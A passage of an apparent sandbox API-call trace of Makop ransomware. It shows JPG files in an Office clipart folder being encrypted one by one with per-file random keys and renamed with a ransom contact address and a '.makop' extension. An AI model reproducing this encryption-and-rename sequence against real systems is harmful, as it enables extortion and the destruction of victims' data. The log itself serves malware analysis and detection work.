lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.848] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.848] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.848] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.849] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.849] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3ee3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3ee3, lpOverlapped=0x0) returned 1 [0136.850] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ef0) returned 1 [0136.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.850] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ef0, lpOverlapped=0x0) returned 1 [0136.851] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.851] SetEndOfFile (hFile=0xf0) returned 1 [0136.857] GetProcessHeap () returned 0x48a0000 [0136.857] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.857] GetProcessHeap () returned 0x48a0000 [0136.857] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.858] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.860] CloseHandle (hObject=0xf0) returned 1 [0136.860] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341534.JPG", cAlternateFileName="")) returned 1 [0136.860] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG") returned 63 [0136.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.861] GetProcessHeap () returned 0x48a0000 [0136.861] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.861] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.861] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0136.869] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.869] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.869] GetProcessHeap () returned 0x48a0000 [0136.869] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.869] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.869] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.869] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.870] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.870] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.870] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.871] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f8a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f8a, lpOverlapped=0x0) returned 1 [0136.872] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f90) returned 1 [0136.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f90, lpOverlapped=0x0) returned 1 [0136.873] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.873] SetEndOfFile (hFile=0xf0) returned 1 [0136.879] GetProcessHeap () returned 0x48a0000 [0136.879] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.879] GetProcessHeap () returned 0x48a0000 [0136.879] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.879] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.881] CloseHandle (hObject=0xf0) returned 1 [0136.881] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341551.JPG", cAlternateFileName="")) returned 1 [0136.881] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG") returned 63 [0136.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.882] GetProcessHeap () returned 0x48a0000 [0136.882] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.882] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.882] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0136.886] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.886] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.886] GetProcessHeap () returned 0x48a0000 [0136.886] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.886] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.886] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.886] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.887] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.887] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.888] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.888] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.888] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.888] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5a56, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5a56, lpOverlapped=0x0) returned 1 [0136.890] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5a60, dwBufLen=0x5a60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5a60) returned 1 [0136.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5a60, lpOverlapped=0x0) returned 1 [0136.891] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.891] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.891] SetEndOfFile (hFile=0xf0) returned 1 [0136.898] GetProcessHeap () returned 0x48a0000 [0136.898] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.898] GetProcessHeap () returned 0x48a0000 [0136.898] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.898] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.898] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.899] CloseHandle (hObject=0xf0) returned 1 [0136.900] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f43, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341554.JPG", cAlternateFileName="")) returned 1 [0136.900] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG") returned 63 [0136.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.902] GetProcessHeap () returned 0x48a0000 [0136.902] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.902] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.902] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.903] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0136.907] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.907] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.907] GetProcessHeap () returned 0x48a0000 [0136.907] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.907] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.907] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.908] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.908] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.908] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.908] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.908] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.909] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.909] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.909] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.909] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6f43, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6f43, lpOverlapped=0x0) returned 1 [0136.911] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6f50, dwBufLen=0x6f50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6f50) returned 1 [0136.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.912] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6f50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6f50, lpOverlapped=0x0) returned 1 [0136.912] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.912] SetEndOfFile (hFile=0xf0) returned 1 [0136.919] GetProcessHeap () returned 0x48a0000 [0136.919] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.919] GetProcessHeap () returned 0x48a0000 [0136.920] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.920] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.921] CloseHandle (hObject=0xf0) returned 1 [0136.921] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341557.JPG", cAlternateFileName="")) returned 1 [0136.921] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG") returned 63 [0136.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.922] GetProcessHeap () returned 0x48a0000 [0136.922] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.922] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.923] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.927] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.927] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.927] GetProcessHeap () returned 0x48a0000 [0136.927] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.927] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.927] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.927] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.927] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: 